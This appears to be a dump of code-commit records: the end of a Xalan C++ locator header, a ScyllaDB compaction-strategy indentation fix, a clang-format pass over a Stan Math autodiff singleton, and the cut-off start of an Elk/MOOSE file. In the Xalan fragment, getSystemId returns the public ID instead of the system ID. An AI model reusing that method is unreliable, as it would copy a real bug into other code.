XalanDOMChar*\n getPublicId(\n const Locator* theLocator,\n const XalanDOMChar* theAlternateId = getEmptyPtr())\n {\n return theLocator == 0 ? theAlternateId : (theLocator->getPublicId() ?\n theLocator->getPublicId() : theAlternateId);\n }\n\n \/**\n * Get the system identifier from a locator object.\n * @param theLocator A locator object inherited from Xerces.\n * @param theAlternateId A default name for a public identifier.\n * @return a null terminated XalanDOMChar string.\n *\/\n static const XalanDOMChar*\n getSystemId(\n const Locator* theLocator,\n const XalanDOMChar* theAlternateId = getEmptyPtr())\n {\n return theLocator == 0 ? theAlternateId : (theLocator->getSystemId() ?\n theLocator->getPublicId() : theAlternateId);\n }\n\n \/**\n * Get the line number from a locator object.\n *\/\n static XalanFileLoc\n getLineNumber(const ParentType* theLocator)\n {\n return theLocator == 0 ? getUnknownValue() : theLocator->getLineNumber();\n }\n\n \/**\n * Get the column number from a locator object.\n *\/\n static XalanFileLoc\n getColumnNumber(const ParentType* theLocator)\n {\n return theLocator == 0 ? getUnknownValue() : theLocator->getColumnNumber();\n }\n\n static XalanFileLoc\n getUnknownValue()\n {\n \/\/ The parser reports the maximum value of the XalanFileLoc\n \/\/ type for an unknown value.\n return ~static_cast<XalanFileLoc>(0);\n }\n\n static XalanFileLoc\n getUnknownDisplayValue()\n {\n \/\/ The parser reports the maximum value of the XalanFileLoc\n \/\/ type for an unknown value, but that is really non-sensical\n \/\/ for display purposes, so we use 0 instead.\n return static_cast<XalanFileLoc>(0);\n }\n\n static bool\n isUnknownValue(XalanFileLoc theLocation)\n {\n return theLocation == getUnknownValue();\n }\n\nprivate:\n\n \/\/ Not defined...\n XalanLocator(const XalanLocator&);\n\n XalanLocator& \n operator=(const XalanLocator&);\n\n \/**\n * Return static pointer to null XalanDOMChar.\n * This is crafted to overcome issues with compilers\/linkers that\n * have problems initializing static integer members within a class.\n *\n * Replaces: static const int s_zero = 0;\n * Reference: &s_zero;\n *\/\n static const XalanDOMChar * getEmptyPtr()\n {\n static const XalanDOMChar theZero = 0;\n static const XalanDOMChar * theEmpty = &theZero;\n return theEmpty;\n }\n};\n\nXALAN_CPP_NAMESPACE_END\n\n\n\n#endif \/\/ PREFIXRESOLVER_HEADER_GUARD_1357924680\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (C) 2020 ScyllaDB\n *\/\n\n\/*\n * This file is part of Scylla.\n *\n * Scylla is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * Scylla is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with Scylla. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#include \"size_tiered_compaction_strategy.hh\"\n#include <boost\/range\/adaptor\/transformed.hpp>\n#include <boost\/range\/adaptors.hpp>\n#include <boost\/range\/algorithm.hpp>\n\nnamespace sstables {\n\nsize_tiered_compaction_strategy_options::size_tiered_compaction_strategy_options(const std::map<sstring, sstring>& options) {\n using namespace cql3::statements;\n\n auto tmp_value = compaction_strategy_impl::get_value(options, MIN_SSTABLE_SIZE_KEY);\n min_sstable_size = property_definitions::to_long(MIN_SSTABLE_SIZE_KEY, tmp_value, DEFAULT_MIN_SSTABLE_SIZE);\n\n tmp_value = compaction_strategy_impl::get_value(options, BUCKET_LOW_KEY);\n bucket_low = property_definitions::to_double(BUCKET_LOW_KEY, tmp_value, DEFAULT_BUCKET_LOW);\n\n tmp_value = compaction_strategy_impl::get_value(options, BUCKET_HIGH_KEY);\n bucket_high = property_definitions::to_double(BUCKET_HIGH_KEY, tmp_value, DEFAULT_BUCKET_HIGH);\n\n tmp_value = compaction_strategy_impl::get_value(options, COLD_READS_TO_OMIT_KEY);\n cold_reads_to_omit = property_definitions::to_double(COLD_READS_TO_OMIT_KEY, tmp_value, DEFAULT_COLD_READS_TO_OMIT);\n}\n\nsize_tiered_compaction_strategy_options::size_tiered_compaction_strategy_options() {\n min_sstable_size = DEFAULT_MIN_SSTABLE_SIZE;\n bucket_low = DEFAULT_BUCKET_LOW;\n bucket_high = DEFAULT_BUCKET_HIGH;\n cold_reads_to_omit = DEFAULT_COLD_READS_TO_OMIT;\n}\n\nstd::vector<std::pair<sstables::shared_sstable, uint64_t>>\nsize_tiered_compaction_strategy::create_sstable_and_length_pairs(const std::vector<sstables::shared_sstable>& sstables) {\n\n std::vector<std::pair<sstables::shared_sstable, uint64_t>> sstable_length_pairs;\n sstable_length_pairs.reserve(sstables.size());\n\n for(auto& sstable : sstables) {\n auto sstable_size = sstable->data_size();\n assert(sstable_size != 0);\n\n sstable_length_pairs.emplace_back(sstable, sstable_size);\n }\n\n return sstable_length_pairs;\n}\n\nstd::vector<std::vector<sstables::shared_sstable>>\nsize_tiered_compaction_strategy::get_buckets(const std::vector<sstables::shared_sstable>& sstables, size_tiered_compaction_strategy_options options) {\n \/\/ sstables sorted by size of its data file.\n auto sorted_sstables = create_sstable_and_length_pairs(sstables);\n\n std::sort(sorted_sstables.begin(), sorted_sstables.end(), [] (auto& i, auto& j) {\n return i.second < j.second;\n });\n\n using bucket_type = std::vector<sstables::shared_sstable>;\n std::vector<bucket_type> bucket_list;\n std::vector<double> bucket_average_size_list;\n\n for (auto& pair : sorted_sstables) {\n size_t size = pair.second;\n\n \/\/ look for a bucket containing similar-sized files:\n \/\/ group in the same bucket if it's w\/in (bucket_low, bucket_high) of the average for this bucket,\n \/\/ or this file and the bucket are all considered \"small\" (less than `minSSTableSize`)\n if (!bucket_list.empty()) {\n auto& bucket_average_size = bucket_average_size_list.back();\n\n if ((size > (bucket_average_size * options.bucket_low) && size < (bucket_average_size * options.bucket_high)) ||\n (size < options.min_sstable_size && bucket_average_size < options.min_sstable_size)) {\n auto& bucket = bucket_list.back();\n auto total_size = bucket.size() * bucket_average_size;\n auto new_average_size = (total_size + size) \/ (bucket.size() + 1);\n auto smallest_sstable_in_bucket = bucket[0]->data_size();\n\n \/\/ SSTables are added in increasing size order so the bucket's\n \/\/ average might drift upwards.\n \/\/ Don't let it drift too high, to a point where the smallest\n \/\/ SSTable might fall out of range.\n if (size < options.min_sstable_size || smallest_sstable_in_bucket > new_average_size * options.bucket_low) {\n \/\/ FIXME: reindent\n bucket.push_back(pair.first);\n bucket_average_size = new_average_size;\n continue;\n }\n }\n }\n\n \/\/ no similar bucket found; put it in a new one\n bucket_type new_bucket = {pair.first};\n bucket_list.push_back(std::move(new_bucket));\n bucket_average_size_list.push_back(size);\n }\n\n return bucket_list;\n}\n\nstd::vector<std::vector<sstables::shared_sstable>>\nsize_tiered_compaction_strategy::get_buckets(const std::vector<sstables::shared_sstable>& sstables) const {\n return get_buckets(sstables, _options);\n}\n\nstd::vector<sstables::shared_sstable>\nsize_tiered_compaction_strategy::most_interesting_bucket(std::vector<std::vector<sstables::shared_sstable>> buckets,\n unsigned min_threshold, unsigned max_threshold)\n{\n std::vector<std::pair<std::vector<sstables::shared_sstable>, uint64_t>> pruned_buckets_and_hotness;\n pruned_buckets_and_hotness.reserve(buckets.size());\n\n \/\/ FIXME: add support to get hotness for each bucket.\n\n for (auto& bucket : buckets) {\n \/\/ FIXME: the coldest sstables will be trimmed to meet the threshold, so we must add support to this feature\n \/\/ by converting SizeTieredCompactionStrategy::trimToThresholdWithHotness.\n \/\/ By the time being, we will only compact buckets that meet the threshold.\n bucket.resize(std::min(bucket.size(), size_t(max_threshold)));\n if (is_bucket_interesting(bucket, min_threshold)) {\n auto avg = avg_size(bucket);\n pruned_buckets_and_hotness.push_back({ std::move(bucket), avg });\n }\n }\n\n if (pruned_buckets_and_hotness.empty()) {\n return std::vector<sstables::shared_sstable>();\n }\n\n \/\/ NOTE: Compacting smallest sstables first, located at the beginning of the sorted vector.\n auto& min = *std::min_element(pruned_buckets_and_hotness.begin(), pruned_buckets_and_hotness.end(), [] (auto& i, auto& j) {\n \/\/ FIXME: ignoring hotness by the time being.\n\n return i.second < j.second;\n });\n auto hottest = std::move(min.first);\n\n return hottest;\n}\n\ncompaction_descriptor\nsize_tiered_compaction_strategy::get_sstables_for_compaction(column_family& cfs, std::vector<sstables::shared_sstable> candidates) {\n \/\/ make local copies so they can't be changed out from under us mid-method\n int min_threshold = cfs.min_compaction_threshold();\n int max_threshold = cfs.schema()->max_compaction_threshold();\n auto gc_before = gc_clock::now() - cfs.schema()->gc_grace_seconds();\n\n \/\/ TODO: Add support to filter cold sstables (for reference: SizeTieredCompactionStrategy::filterColdSSTables).\n\n auto buckets = get_buckets(candidates);\n\n if (is_any_bucket_interesting(buckets, min_threshold)) {\n std::vector<sstables::shared_sstable> most_interesting = most_interesting_bucket(std::move(buckets), min_threshold, max_threshold);\n return sstables::compaction_descriptor(std::move(most_interesting), cfs.get_sstable_set(), service::get_local_compaction_priority());\n }\n\n \/\/ If we are not enforcing min_threshold explicitly, try any pair of SStables in the same tier.\n if (!cfs.compaction_enforce_min_threshold() && is_any_bucket_interesting(buckets, 2)) {\n std::vector<sstables::shared_sstable> most_interesting = most_interesting_bucket(std::move(buckets), 2, max_threshold);\n return sstables::compaction_descriptor(std::move(most_interesting), cfs.get_sstable_set(), service::get_local_compaction_priority());\n }\n\n \/\/ if there is no sstable to compact in standard way, try compacting single sstable whose droppable tombstone\n \/\/ ratio is greater than threshold.\n \/\/ prefer oldest sstables from biggest size tiers because they will be easier to satisfy conditions for\n \/\/ tombstone purge, i.e. less likely to shadow even older data.\n for (auto&& sstables : buckets | boost::adaptors::reversed) {\n \/\/ filter out sstables which droppable tombstone ratio isn't greater than the defined threshold.\n auto e = boost::range::remove_if(sstables, [this, &gc_before] (const sstables::shared_sstable& sst) -> bool {\n return !worth_dropping_tombstones(sst, gc_before);\n });\n sstables.erase(e, sstables.end());\n if (sstables.empty()) {\n continue;\n }\n \/\/ find oldest sstable from current tier\n auto it = std::min_element(sstables.begin(), sstables.end(), [] (auto& i, auto& j) {\n return i->get_stats_metadata().min_timestamp < j->get_stats_metadata().min_timestamp;\n });\n return sstables::compaction_descriptor({ *it }, cfs.get_sstable_set(), service::get_local_compaction_priority());\n }\n return sstables::compaction_descriptor();\n}\n\nint64_t size_tiered_compaction_strategy::estimated_pending_compactions(const std::vector<sstables::shared_sstable>& sstables,\n int min_threshold, int max_threshold, size_tiered_compaction_strategy_options options) {\n int64_t n = 0;\n for (auto& bucket : get_buckets(sstables, options)) {\n if (bucket.size() >= size_t(min_threshold)) {\n n += std::ceil(double(bucket.size()) \/ max_threshold);\n }\n }\n return n;\n}\n\nint64_t size_tiered_compaction_strategy::estimated_pending_compactions(column_family& cf) const {\n int min_threshold = cf.min_compaction_threshold();\n int max_threshold = cf.schema()->max_compaction_threshold();\n std::vector<sstables::shared_sstable> sstables;\n\n sstables.reserve(cf.sstables_count());\n for (auto all_sstables = cf.get_sstables(); auto& entry : *all_sstables) {\n sstables.push_back(entry);\n }\n\n return estimated_pending_compactions(sstables, min_threshold, max_threshold, _options);\n}\n\nstd::vector<sstables::shared_sstable>\nsize_tiered_compaction_strategy::most_interesting_bucket(const std::vector<sstables::shared_sstable>& candidates,\n int min_threshold, int max_threshold, size_tiered_compaction_strategy_options options) {\n size_tiered_compaction_strategy cs(options);\n\n auto buckets = cs.get_buckets(candidates);\n\n std::vector<sstables::shared_sstable> most_interesting = cs.most_interesting_bucket(std::move(buckets),\n min_threshold, max_threshold);\n\n return most_interesting;\n}\n\ncompaction_descriptor\nsize_tiered_compaction_strategy::get_reshaping_job(std::vector<shared_sstable> input, schema_ptr schema, const ::io_priority_class& iop, reshape_mode mode)\n{\n size_t offstrategy_threshold = std::max(schema->min_compaction_threshold(), 4);\n size_t max_sstables = std::max(schema->max_compaction_threshold(), int(offstrategy_threshold));\n\n if (mode == reshape_mode::relaxed) {\n offstrategy_threshold = max_sstables;\n }\n\n for (auto& bucket : get_buckets(input)) {\n if (bucket.size() >= offstrategy_threshold) {\n \/\/ reshape job can work on #max_sstables sstables at once, so by reshaping sstables with the smallest tokens first,\n \/\/ token contiguity is preserved iff sstables are disjoint.\n if (bucket.size() > max_sstables) {\n std::partial_sort(bucket.begin(), bucket.begin() + max_sstables, bucket.end(), [&schema](const sstables::shared_sstable& a, const sstables::shared_sstable& b) {\n return a->get_first_decorated_key().tri_compare(*schema, b->get_first_decorated_key()) <= 0;\n });\n bucket.resize(max_sstables);\n }\n compaction_descriptor desc(std::move(bucket), std::optional<sstables::sstable_set>(), iop);\n desc.options = compaction_options::make_reshape();\n return desc;\n }\n }\n\n return compaction_descriptor();\n}\n\n}\n<commit_msg>compaction: size_tiered_compaction_strategy: get_buckets: fixup indentation<commit_after>\/*\n * Copyright (C) 2020 ScyllaDB\n *\/\n\n\/*\n * This file is part of Scylla.\n *\n * Scylla is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * Scylla is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with Scylla. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#include \"size_tiered_compaction_strategy.hh\"\n#include <boost\/range\/adaptor\/transformed.hpp>\n#include <boost\/range\/adaptors.hpp>\n#include <boost\/range\/algorithm.hpp>\n\nnamespace sstables {\n\nsize_tiered_compaction_strategy_options::size_tiered_compaction_strategy_options(const std::map<sstring, sstring>& options) {\n using namespace cql3::statements;\n\n auto tmp_value = compaction_strategy_impl::get_value(options, MIN_SSTABLE_SIZE_KEY);\n min_sstable_size = property_definitions::to_long(MIN_SSTABLE_SIZE_KEY, tmp_value, DEFAULT_MIN_SSTABLE_SIZE);\n\n tmp_value = compaction_strategy_impl::get_value(options, BUCKET_LOW_KEY);\n bucket_low = property_definitions::to_double(BUCKET_LOW_KEY, tmp_value, DEFAULT_BUCKET_LOW);\n\n tmp_value = compaction_strategy_impl::get_value(options, BUCKET_HIGH_KEY);\n bucket_high = property_definitions::to_double(BUCKET_HIGH_KEY, tmp_value, DEFAULT_BUCKET_HIGH);\n\n tmp_value = compaction_strategy_impl::get_value(options, COLD_READS_TO_OMIT_KEY);\n cold_reads_to_omit = property_definitions::to_double(COLD_READS_TO_OMIT_KEY, tmp_value, DEFAULT_COLD_READS_TO_OMIT);\n}\n\nsize_tiered_compaction_strategy_options::size_tiered_compaction_strategy_options() {\n min_sstable_size = DEFAULT_MIN_SSTABLE_SIZE;\n bucket_low = DEFAULT_BUCKET_LOW;\n bucket_high = DEFAULT_BUCKET_HIGH;\n cold_reads_to_omit = DEFAULT_COLD_READS_TO_OMIT;\n}\n\nstd::vector<std::pair<sstables::shared_sstable, uint64_t>>\nsize_tiered_compaction_strategy::create_sstable_and_length_pairs(const std::vector<sstables::shared_sstable>& sstables) {\n\n std::vector<std::pair<sstables::shared_sstable, uint64_t>> sstable_length_pairs;\n sstable_length_pairs.reserve(sstables.size());\n\n for(auto& sstable : sstables) {\n auto sstable_size = sstable->data_size();\n assert(sstable_size != 0);\n\n sstable_length_pairs.emplace_back(sstable, sstable_size);\n }\n\n return sstable_length_pairs;\n}\n\nstd::vector<std::vector<sstables::shared_sstable>>\nsize_tiered_compaction_strategy::get_buckets(const std::vector<sstables::shared_sstable>& sstables, size_tiered_compaction_strategy_options options) {\n \/\/ sstables sorted by size of its data file.\n auto sorted_sstables = create_sstable_and_length_pairs(sstables);\n\n std::sort(sorted_sstables.begin(), sorted_sstables.end(), [] (auto& i, auto& j) {\n return i.second < j.second;\n });\n\n using bucket_type = std::vector<sstables::shared_sstable>;\n std::vector<bucket_type> bucket_list;\n std::vector<double> bucket_average_size_list;\n\n for (auto& pair : sorted_sstables) {\n size_t size = pair.second;\n\n \/\/ look for a bucket containing similar-sized files:\n \/\/ group in the same bucket if it's w\/in (bucket_low, bucket_high) of the average for this bucket,\n \/\/ or this file and the bucket are all considered \"small\" (less than `minSSTableSize`)\n if (!bucket_list.empty()) {\n auto& bucket_average_size = bucket_average_size_list.back();\n\n if ((size > (bucket_average_size * options.bucket_low) && size < (bucket_average_size * options.bucket_high)) ||\n (size < options.min_sstable_size && bucket_average_size < options.min_sstable_size)) {\n auto& bucket = bucket_list.back();\n auto total_size = bucket.size() * bucket_average_size;\n auto new_average_size = (total_size + size) \/ (bucket.size() + 1);\n auto smallest_sstable_in_bucket = bucket[0]->data_size();\n\n \/\/ SSTables are added in increasing size order so the bucket's\n \/\/ average might drift upwards.\n \/\/ Don't let it drift too high, to a point where the smallest\n \/\/ SSTable might fall out of range.\n if (size < options.min_sstable_size || smallest_sstable_in_bucket > new_average_size * options.bucket_low) {\n bucket.push_back(pair.first);\n bucket_average_size = new_average_size;\n continue;\n }\n }\n }\n\n \/\/ no similar bucket found; put it in a new one\n bucket_type new_bucket = {pair.first};\n bucket_list.push_back(std::move(new_bucket));\n bucket_average_size_list.push_back(size);\n }\n\n return bucket_list;\n}\n\nstd::vector<std::vector<sstables::shared_sstable>>\nsize_tiered_compaction_strategy::get_buckets(const std::vector<sstables::shared_sstable>& sstables) const {\n return get_buckets(sstables, _options);\n}\n\nstd::vector<sstables::shared_sstable>\nsize_tiered_compaction_strategy::most_interesting_bucket(std::vector<std::vector<sstables::shared_sstable>> buckets,\n unsigned min_threshold, unsigned max_threshold)\n{\n std::vector<std::pair<std::vector<sstables::shared_sstable>, uint64_t>> pruned_buckets_and_hotness;\n pruned_buckets_and_hotness.reserve(buckets.size());\n\n \/\/ FIXME: add support to get hotness for each bucket.\n\n for (auto& bucket : buckets) {\n \/\/ FIXME: the coldest sstables will be trimmed to meet the threshold, so we must add support to this feature\n \/\/ by converting SizeTieredCompactionStrategy::trimToThresholdWithHotness.\n \/\/ By the time being, we will only compact buckets that meet the threshold.\n bucket.resize(std::min(bucket.size(), size_t(max_threshold)));\n if (is_bucket_interesting(bucket, min_threshold)) {\n auto avg = avg_size(bucket);\n pruned_buckets_and_hotness.push_back({ std::move(bucket), avg });\n }\n }\n\n if (pruned_buckets_and_hotness.empty()) {\n return std::vector<sstables::shared_sstable>();\n }\n\n \/\/ NOTE: Compacting smallest sstables first, located at the beginning of the sorted vector.\n auto& min = *std::min_element(pruned_buckets_and_hotness.begin(), pruned_buckets_and_hotness.end(), [] (auto& i, auto& j) {\n \/\/ FIXME: ignoring hotness by the time being.\n\n return i.second < j.second;\n });\n auto hottest = std::move(min.first);\n\n return hottest;\n}\n\ncompaction_descriptor\nsize_tiered_compaction_strategy::get_sstables_for_compaction(column_family& cfs, std::vector<sstables::shared_sstable> candidates) {\n \/\/ make local copies so they can't be changed out from under us mid-method\n int min_threshold = cfs.min_compaction_threshold();\n int max_threshold = cfs.schema()->max_compaction_threshold();\n auto gc_before = gc_clock::now() - cfs.schema()->gc_grace_seconds();\n\n \/\/ TODO: Add support to filter cold sstables (for reference: SizeTieredCompactionStrategy::filterColdSSTables).\n\n auto buckets = get_buckets(candidates);\n\n if (is_any_bucket_interesting(buckets, min_threshold)) {\n std::vector<sstables::shared_sstable> most_interesting = most_interesting_bucket(std::move(buckets), min_threshold, max_threshold);\n return sstables::compaction_descriptor(std::move(most_interesting), cfs.get_sstable_set(), service::get_local_compaction_priority());\n }\n\n \/\/ If we are not enforcing min_threshold explicitly, try any pair of SStables in the same tier.\n if (!cfs.compaction_enforce_min_threshold() && is_any_bucket_interesting(buckets, 2)) {\n std::vector<sstables::shared_sstable> most_interesting = most_interesting_bucket(std::move(buckets), 2, max_threshold);\n return sstables::compaction_descriptor(std::move(most_interesting), cfs.get_sstable_set(), service::get_local_compaction_priority());\n }\n\n \/\/ if there is no sstable to compact in standard way, try compacting single sstable whose droppable tombstone\n \/\/ ratio is greater than threshold.\n \/\/ prefer oldest sstables from biggest size tiers because they will be easier to satisfy conditions for\n \/\/ tombstone purge, i.e. less likely to shadow even older data.\n for (auto&& sstables : buckets | boost::adaptors::reversed) {\n \/\/ filter out sstables which droppable tombstone ratio isn't greater than the defined threshold.\n auto e = boost::range::remove_if(sstables, [this, &gc_before] (const sstables::shared_sstable& sst) -> bool {\n return !worth_dropping_tombstones(sst, gc_before);\n });\n sstables.erase(e, sstables.end());\n if (sstables.empty()) {\n continue;\n }\n \/\/ find oldest sstable from current tier\n auto it = std::min_element(sstables.begin(), sstables.end(), [] (auto& i, auto& j) {\n return i->get_stats_metadata().min_timestamp < j->get_stats_metadata().min_timestamp;\n });\n return sstables::compaction_descriptor({ *it }, cfs.get_sstable_set(), service::get_local_compaction_priority());\n }\n return sstables::compaction_descriptor();\n}\n\nint64_t size_tiered_compaction_strategy::estimated_pending_compactions(const std::vector<sstables::shared_sstable>& sstables,\n int min_threshold, int max_threshold, size_tiered_compaction_strategy_options options) {\n int64_t n = 0;\n for (auto& bucket : get_buckets(sstables, options)) {\n if (bucket.size() >= size_t(min_threshold)) {\n n += std::ceil(double(bucket.size()) \/ max_threshold);\n }\n }\n return n;\n}\n\nint64_t size_tiered_compaction_strategy::estimated_pending_compactions(column_family& cf) const {\n int min_threshold = cf.min_compaction_threshold();\n int max_threshold = cf.schema()->max_compaction_threshold();\n std::vector<sstables::shared_sstable> sstables;\n\n sstables.reserve(cf.sstables_count());\n for (auto all_sstables = cf.get_sstables(); auto& entry : *all_sstables) {\n sstables.push_back(entry);\n }\n\n return estimated_pending_compactions(sstables, min_threshold, max_threshold, _options);\n}\n\nstd::vector<sstables::shared_sstable>\nsize_tiered_compaction_strategy::most_interesting_bucket(const std::vector<sstables::shared_sstable>& candidates,\n int min_threshold, int max_threshold, size_tiered_compaction_strategy_options options) {\n size_tiered_compaction_strategy cs(options);\n\n auto buckets = cs.get_buckets(candidates);\n\n std::vector<sstables::shared_sstable> most_interesting = cs.most_interesting_bucket(std::move(buckets),\n min_threshold, max_threshold);\n\n return most_interesting;\n}\n\ncompaction_descriptor\nsize_tiered_compaction_strategy::get_reshaping_job(std::vector<shared_sstable> input, schema_ptr schema, const ::io_priority_class& iop, reshape_mode mode)\n{\n size_t offstrategy_threshold = std::max(schema->min_compaction_threshold(), 4);\n size_t max_sstables = std::max(schema->max_compaction_threshold(), int(offstrategy_threshold));\n\n if (mode == reshape_mode::relaxed) {\n offstrategy_threshold = max_sstables;\n }\n\n for (auto& bucket : get_buckets(input)) {\n if (bucket.size() >= offstrategy_threshold) {\n \/\/ reshape job can work on #max_sstables sstables at once, so by reshaping sstables with the smallest tokens first,\n \/\/ token contiguity is preserved iff sstables are disjoint.\n if (bucket.size() > max_sstables) {\n std::partial_sort(bucket.begin(), bucket.begin() + max_sstables, bucket.end(), [&schema](const sstables::shared_sstable& a, const sstables::shared_sstable& b) {\n return a->get_first_decorated_key().tri_compare(*schema, b->get_first_decorated_key()) <= 0;\n });\n bucket.resize(max_sstables);\n }\n compaction_descriptor desc(std::move(bucket), std::optional<sstables::sstable_set>(), iop);\n desc.options = compaction_options::make_reshape();\n return desc;\n }\n }\n\n return compaction_descriptor();\n}\n\n}\n<|endoftext|>"} {"text":"<commit_before>#ifndef STAN_MATH_REV_CORE_AUTODIFFSTACKSTORAGE_HPP\n#define STAN_MATH_REV_CORE_AUTODIFFSTACKSTORAGE_HPP\n\n#include <stan\/math\/memory\/stack_alloc.hpp>\n#include <vector>\n\nnamespace stan {\nnamespace math {\n\n\/**\n * Provides a thread_local singleton if needed. Read warnings below!\n * For performance reasons the singleton is a global static for the\n * case of no threading which is returned by a function. This design\n * should allow the compiler to apply necessary inlining to get\n * maximal performance. However, this design suffers from \"the static\n * init order fiasco\"[0]. Anywhere this is used, we must be\n * absolutely positive that it doesn't matter when the singleton will\n * get initialized relative to other static variables. In exchange,\n * we get a more performant singleton pattern for the non-threading\n * case. In the threading case we use the defacto standard C++11\n * singleton pattern relying on a function wrapping a static local\n * variable. This standard pattern is expected to be well supported\n * by the major compilers (as its standard), but it does incur some\n * performance penalty. There has been some discussion on this; see\n * [1] and [2] and the discussions those PRs link to as well.\n *\n * These are thread_local only if the user asks for it with\n * -DSTAN_THREADS. This is primarily because Apple clang compilers\n * before 2016 don't support thread_local and the additional\n * performance cost. We have proposed removing support for those[3],\n * and at that time we should evaluate the performance of a switch to\n * thread_local. If there is no loss in performance, we can remove\n * this ifdef.\n *\n * [0] https:\/\/isocpp.org\/wiki\/faq\/ctors#static-init-order\n * [1] https:\/\/github.com\/stan-dev\/math\/pull\/840\n * [2] https:\/\/github.com\/stan-dev\/math\/pull\/826\n * [3]\n * http:\/\/discourse.mc-stan.org\/t\/potentially-dropping-support-for-older-versions-of-apples-version-of-clang\/3780\/\n *\/\ntemplate <typename ChainableT, typename ChainableAllocT>\nstruct AutodiffStackSingleton {\n typedef AutodiffStackSingleton<ChainableT, ChainableAllocT>\n AutodiffStackSingleton_t;\n\n struct AutodiffStackStorage {\n AutodiffStackStorage &operator=(const AutodiffStackStorage &) = delete;\n\n std::vector<ChainableT *> var_stack_;\n std::vector<ChainableT *> var_nochain_stack_;\n std::vector<ChainableAllocT *> var_alloc_stack_;\n stack_alloc memalloc_;\n\n \/\/ nested positions\n std::vector<size_t> nested_var_stack_sizes_;\n std::vector<size_t> nested_var_nochain_stack_sizes_;\n std::vector<size_t> nested_var_alloc_stack_starts_;\n };\n\n AutodiffStackSingleton() = delete;\n explicit AutodiffStackSingleton(AutodiffStackSingleton_t const &) = delete;\n AutodiffStackSingleton &operator=(const AutodiffStackSingleton_t &) = delete;\n\n static inline AutodiffStackStorage &instance() {\n#ifdef STAN_THREADS\n thread_local static AutodiffStackStorage instance_;\n return instance_;\n#else\n return *instance_;\n#endif\n }\n\n#ifndef STAN_THREADS\n\n private:\n static AutodiffStackStorage* instance_;\n#endif\n};\n\n#ifndef STAN_THREADS\ntemplate <typename ChainableT, typename ChainableAllocT>\ntypename AutodiffStackSingleton<ChainableT,\n ChainableAllocT>::AutodiffStackStorage*\n AutodiffStackSingleton<ChainableT, ChainableAllocT>::instance_\n = new typename AutodiffStackSingleton<ChainableT,\n ChainableAllocT>::AutodiffStackStorage;\n#endif\n\n} \/\/ namespace math\n} \/\/ namespace stan\n#endif\n<commit_msg>[Jenkins] auto-formatting by clang-format version 5.0.2-svn328729-1~exp1~20180509124008.99 (branches\/release_50)<commit_after>#ifndef STAN_MATH_REV_CORE_AUTODIFFSTACKSTORAGE_HPP\n#define STAN_MATH_REV_CORE_AUTODIFFSTACKSTORAGE_HPP\n\n#include <stan\/math\/memory\/stack_alloc.hpp>\n#include <vector>\n\nnamespace stan {\nnamespace math {\n\n\/**\n * Provides a thread_local singleton if needed. Read warnings below!\n * For performance reasons the singleton is a global static for the\n * case of no threading which is returned by a function. This design\n * should allow the compiler to apply necessary inlining to get\n * maximal performance. However, this design suffers from \"the static\n * init order fiasco\"[0]. Anywhere this is used, we must be\n * absolutely positive that it doesn't matter when the singleton will\n * get initialized relative to other static variables. In exchange,\n * we get a more performant singleton pattern for the non-threading\n * case. In the threading case we use the defacto standard C++11\n * singleton pattern relying on a function wrapping a static local\n * variable. This standard pattern is expected to be well supported\n * by the major compilers (as its standard), but it does incur some\n * performance penalty. There has been some discussion on this; see\n * [1] and [2] and the discussions those PRs link to as well.\n *\n * These are thread_local only if the user asks for it with\n * -DSTAN_THREADS. This is primarily because Apple clang compilers\n * before 2016 don't support thread_local and the additional\n * performance cost. We have proposed removing support for those[3],\n * and at that time we should evaluate the performance of a switch to\n * thread_local. If there is no loss in performance, we can remove\n * this ifdef.\n *\n * [0] https:\/\/isocpp.org\/wiki\/faq\/ctors#static-init-order\n * [1] https:\/\/github.com\/stan-dev\/math\/pull\/840\n * [2] https:\/\/github.com\/stan-dev\/math\/pull\/826\n * [3]\n * http:\/\/discourse.mc-stan.org\/t\/potentially-dropping-support-for-older-versions-of-apples-version-of-clang\/3780\/\n *\/\ntemplate <typename ChainableT, typename ChainableAllocT>\nstruct AutodiffStackSingleton {\n typedef AutodiffStackSingleton<ChainableT, ChainableAllocT>\n AutodiffStackSingleton_t;\n\n struct AutodiffStackStorage {\n AutodiffStackStorage &operator=(const AutodiffStackStorage &) = delete;\n\n std::vector<ChainableT *> var_stack_;\n std::vector<ChainableT *> var_nochain_stack_;\n std::vector<ChainableAllocT *> var_alloc_stack_;\n stack_alloc memalloc_;\n\n \/\/ nested positions\n std::vector<size_t> nested_var_stack_sizes_;\n std::vector<size_t> nested_var_nochain_stack_sizes_;\n std::vector<size_t> nested_var_alloc_stack_starts_;\n };\n\n AutodiffStackSingleton() = delete;\n explicit AutodiffStackSingleton(AutodiffStackSingleton_t const &) = delete;\n AutodiffStackSingleton &operator=(const AutodiffStackSingleton_t &) = delete;\n\n static inline AutodiffStackStorage &instance() {\n#ifdef STAN_THREADS\n thread_local static AutodiffStackStorage instance_;\n return instance_;\n#else\n return *instance_;\n#endif\n }\n\n#ifndef STAN_THREADS\n\n private:\n static AutodiffStackStorage *instance_;\n#endif\n};\n\n#ifndef STAN_THREADS\ntemplate <typename ChainableT, typename ChainableAllocT>\ntypename AutodiffStackSingleton<ChainableT,\n ChainableAllocT>::AutodiffStackStorage\n *AutodiffStackSingleton<ChainableT, ChainableAllocT>::instance_\n = new\n typename AutodiffStackSingleton<ChainableT,\n ChainableAllocT>::AutodiffStackStorage;\n#endif\n\n} \/\/ namespace math\n} \/\/ namespace stan\n#endif\n<|endoftext|>"} {"text":"<commit_before>#include \"Elk.h\"\n#include \"MooseFactory.h\"\n\n\/\/ misc\n#include \"BodyForceRZ.h\"\n#include \"CoefDiffusion.h\"\n#include \"Convection.h\"\n#include 